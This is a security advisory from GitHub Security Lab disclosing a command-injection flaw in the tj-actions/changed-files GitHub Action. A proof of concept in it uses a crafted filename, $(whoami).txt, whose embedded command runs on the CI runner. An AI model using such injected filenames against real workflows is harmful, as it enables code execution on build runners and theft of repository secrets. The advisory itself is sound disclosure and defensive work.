Coordinated Disclosure Timeline

Summary

The tj-actions/changed-files workflow allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets.

Project

changed-files

Tested Version

v40.2.2

Details

Potential Actions command injection in output filenames (GHSL-2023-271)

The changed-files workflow returns the list of files changed in a commit or pull request.

const allChangedFiles = await getChangeTypeFiles({
    inputs,
    changedFiles: allFilteredDiffFiles,
    changeTypes: [
        ChangeTypeEnum.Added,
        ChangeTypeEnum.Copied,
        ChangeTypeEnum.Modified,
        ChangeTypeEnum.Renamed
    ]
})
core.debug(`All changed files: ${JSON.stringify(allChangedFiles)}`)
await setOutput({
    key: getOutputKey('all_changed_files', outputPrefix),
    value: allChangedFiles.paths,
    writeOutputFiles: inputs.writeOutputFiles,
    outputDir: inputs.outputDir,
    json: inputs.json,
    shouldEscape: inputs.escapeJson
})

Even though there is a shouldEscape option enabled by default, it only escapes " for JSON values. The setOutput function is defined as follows:

export const setOutput = async ({
  key,
  value,
  writeOutputFiles,
  outputDir,
  json = false,
  shouldEscape = false
}: {
  key: string
  value: string | string[] | boolean
  writeOutputFiles: boolean
  outputDir: string
  json?: boolean
  shouldEscape?: boolean
}): Promise<void> => {
  let cleanedValue
  if (json) {
    cleanedValue = jsonOutput({value, shouldEscape})
  } else {
    cleanedValue = value.toString().trim()
  }

  core.setOutput(key, cleanedValue)

  ...
}

The jsonOutput function is defined as follows:

export const jsonOutput = ({
  value,
  shouldEscape
}: {
  value: string | string[] | boolean
  shouldEscape: boolean
}): string => {
  const result = JSON.stringify(value)

  return shouldEscape ? result.replace(/"/g, '\\"') : result
}

This allows filenames to contain special characters such as ; and ` (backtick) which can be used by an attacker to take over the GitHub Runner if the output value is used in a raw fashion (thus being directly replaced before execution) inside a run block. By running custom commands an attacker may be able to steal secrets such as GITHUB_TOKEN if triggered on other events than pull_request. For example on push.

Proof of Concept

In the case of a repository containing the following workflow, as detailed in changed-files README:

name: CI

on:
  pull_request:
    branches:
      - main

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      # Example 1
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v40

      - name: List all changed files
        run: |
          for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
            echo "$file was changed"
          done
  1. Submit a pull request to the repository with a new file injecting a command. For example $(whoami).txt would be a valid filename.
  2. Upon approval of the workflow (triggered by the pull request), the action will get executed and the malicious pull request filename will flow into the List all changed files step.
##[group]Run for file in $(whoami).txt; do
    for file in $(whoami).txt; do
        echo "$file was changed"
    done
shell: /usr/bin/bash -e {0}
##[endgroup]
runner.txt was changed

Impact

This issue may lead to arbitrary command execution in the GitHub Runner.

Credit

This issue was discovered by @jsoref (Josh Soref) and reported by GHSL team member @jorgectf (Jorge Rosillo).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-271 in any communication regarding this issue.